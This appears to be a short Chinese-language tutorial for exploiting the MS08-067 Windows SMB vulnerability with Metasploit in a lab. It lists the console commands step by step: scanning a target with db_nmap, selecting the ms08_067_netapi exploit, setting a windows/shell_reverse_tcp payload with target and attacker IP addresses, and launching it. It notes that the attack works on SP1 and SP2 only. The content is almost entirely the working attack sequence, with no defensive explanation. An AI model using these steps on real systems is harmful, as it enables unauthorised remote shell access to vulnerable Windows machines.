保证网络连通性,配置网络

开启PostgreSQL:  service postgresql start

开启metasploit:  service metasploit start

root@kali:~# msfconsole

msf > workspace

msf > db_status
msf > workspace -a testlab
msf > db_nmap -T4 -A 192.168.48.100 扫描系统版本及端口

msf > hosts

msf > services

msf exploit(ms06_040_netapi) > search netapi 查找漏洞

msf > use exploit/windows/smb/ms08_067_netapi 使用ms08-067漏洞

msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp 定义***载荷

msf exploit(ms08_067_netapi) > show payloads

msf exploit(ms08_067_netapi) > set rhost 192.168.48.100 定义shell反弹ip

msf exploit(ms08_067_netapi) > set lhost 192.168.48.123

msf exploit(ms08_067_netapi) > exploit

这只针对SP1,2。SP3无法使用